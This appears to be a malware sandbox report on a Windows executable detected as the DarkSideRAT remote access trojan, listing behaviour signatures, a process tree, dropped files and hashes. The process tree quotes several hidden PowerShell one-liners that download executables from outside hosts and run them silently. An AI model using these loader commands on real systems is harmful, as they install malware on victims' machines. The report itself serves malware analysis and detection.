Analysis

  • max time kernel
    149s
  • max time network
    125s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 10:32

General

  • Target
    2026-08-03_9e9337c1f59f20e3b3476fa2080582a0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
  • Size 1.0MB
  • Sample260804-mlb98shf23
  • SHA256 1587a9f18f3a72274765ae1529265c6b1c9018914a26703e9240bff15ff4bdf4
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: DarkSideRAT

    DarkSideRAT is a remote access trojan.

  • Detects DarkSideRAT 1 IoCs
  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 4 IoCs
  • Executes dropped EXE 4 IoCs
  • Executes a command shell one-liner 1 TTPs 8 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-03_9e9337c1f59f20e3b3476fa2080582a0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_9e9337c1f59f20e3b3476fa2080582a0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2756
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://darkside.cy/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt&_r=sq7u1EX70g3D' -OutFile $env:TEMP\BK565791.exe; Start-Process -FilePath $env:TEMP\BK565791.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5872
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://darkside.cy/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt&_r=sq7u1EX70g3D' -OutFile $env:TEMP\BK565791.exe; Start-Process -FilePath $env:TEMP\BK565791.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:928
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://darkside.cy/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt&_r=sq7u1EX70g3D' -OutFile $env:TEMP\BK565791.exe; Start-Process -FilePath $env:TEMP\BK565791.exe -WindowStyle Hidden }"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5644
          • C:\Users\Admin\AppData\Local\Temp\BK565791.exe
            "C:\Users\Admin\AppData\Local\Temp\BK565791.exe"
            5⤵
            • Executes dropped EXE
            PID:5616
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=PEce5RzBLvwu' -OutFile $env:TEMP\BK622683.exe; Start-Process -FilePath $env:TEMP\BK622683.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4756
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=PEce5RzBLvwu' -OutFile $env:TEMP\BK622683.exe; Start-Process -FilePath $env:TEMP\BK622683.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5816
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=PEce5RzBLvwu' -OutFile $env:TEMP\BK622683.exe; Start-Process -FilePath $env:TEMP\BK622683.exe -WindowStyle Hidden }"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2380
          • C:\Users\Admin\AppData\Local\Temp\BK622683.exe
            "C:\Users\Admin\AppData\Local\Temp\BK622683.exe"
            5⤵
            • Executes dropped EXE
            PID:5656
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://darkside.cy/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt&_r=w8eBU7p2siXG' -OutFile $env:APPDATA\BK219456.exe; Start-Process -FilePath $env:APPDATA\BK219456.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3420
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://darkside.cy/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt&_r=w8eBU7p2siXG' -OutFile $env:APPDATA\BK219456.exe; Start-Process -FilePath $env:APPDATA\BK219456.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5884
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://darkside.cy/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt&_r=w8eBU7p2siXG' -OutFile $env:APPDATA\BK219456.exe; Start-Process -FilePath $env:APPDATA\BK219456.exe -WindowStyle Hidden }"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2752
          • C:\Users\Admin\AppData\Roaming\BK219456.exe
            "C:\Users\Admin\AppData\Roaming\BK219456.exe"
            5⤵
            • Executes dropped EXE
            PID:5836
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=3aZjG3O6q1xA' -OutFile $env:APPDATA\BK705536.exe; Start-Process -FilePath $env:APPDATA\BK705536.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5408
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=3aZjG3O6q1xA' -OutFile $env:APPDATA\BK705536.exe; Start-Process -FilePath $env:APPDATA\BK705536.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3716
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=3aZjG3O6q1xA' -OutFile $env:APPDATA\BK705536.exe; Start-Process -FilePath $env:APPDATA\BK705536.exe -WindowStyle Hidden }"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:6080
          • C:\Users\Admin\AppData\Roaming\BK705536.exe
            "C:\Users\Admin\AppData\Roaming\BK705536.exe"
            5⤵
            • Executes dropped EXE
            PID:5932

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 0c0236308733cd437634732f61af1affd87d2d91e3c6a64130109a95b7ddb1b1
        • MD5 SHA1 SHA512 TLSH

        BK565791.exe

        • Path C:\Users\Admin\AppData\Local\Temp\BK565791.exe
        • Size 277KB
        • SHA256 600fd59a6114e08606f4bbc881c1c156193ff01371e1144a05ca787d365e067d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        BK622683.exe

        • Path C:\Users\Admin\AppData\Local\Temp\BK622683.exe
        • Size 67KB
        • SHA256 245c4870dbf4b2f0102835addb1780d845bd1c31d5ac2a8ac7a5dfe993d6365f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_4k51twlu.aty.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4k51twlu.aty.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/2380-20-0x00007FFDE4FE0000-0x00007FFDE5984000-memory.dmp

        memory/2380-30-0x00007FFDE4FE0000-0x00007FFDE5984000-memory.dmp

        memory/2380-21-0x00007FFDE4FE0000-0x00007FFDE5984000-memory.dmp

        memory/5644-9-0x00007FFDE4FE0000-0x00007FFDE5984000-memory.dmp

        memory/5644-18-0x00007FFDE4FE0000-0x00007FFDE5984000-memory.dmp

        memory/5644-13-0x00007FFDE4FE0000-0x00007FFDE5984000-memory.dmp

        memory/5644-14-0x00007FFDE4FE0000-0x00007FFDE5984000-memory.dmp

        memory/5644-16-0x00007FFDE4FE0000-0x00007FFDE5984000-memory.dmp

        memory/5644-15-0x00007FFDE4FE0000-0x00007FFDE5984000-memory.dmp

        memory/5644-17-0x00007FFDE4FE0000-0x00007FFDE5984000-memory.dmp

        memory/5644-12-0x00007FFDE4FE0000-0x00007FFDE5984000-memory.dmp

        memory/5644-11-0x00007FFDE4FE0000-0x00007FFDE5984000-memory.dmp

        memory/5644-10-0x00007FFDE4FE0000-0x00007FFDE5984000-memory.dmp

        memory/5644-0-0x00007FFDE516F000-0x00007FFDE5170000-memory.dmp

        memory/5644-8-0x00007FFDE4FE0000-0x00007FFDE5984000-memory.dmp

        memory/5644-7-0x000001FF6F5C0000-0x000001FF6F5E2000-memory.dmp

        memory/5644-4-0x00007FFDE4FE0000-0x00007FFDE5984000-memory.dmp

        memory/5644-41-0x00007FFDE4FE0000-0x00007FFDE5984000-memory.dmp

        memory/5644-1-0x00007FFDE4FE0000-0x00007FFDE5984000-memory.dmp